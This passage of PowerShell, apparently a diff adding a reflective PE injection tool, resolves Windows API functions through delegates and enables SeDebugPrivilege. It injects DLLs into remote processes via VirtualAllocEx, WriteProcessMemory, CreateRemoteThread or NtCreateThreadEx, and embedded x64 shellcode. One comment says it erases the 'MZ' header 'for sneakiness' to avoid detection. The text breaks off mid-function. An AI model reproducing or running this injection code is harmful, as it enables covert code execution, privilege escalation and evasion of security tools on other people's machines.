[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP + if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + } + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + $LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." 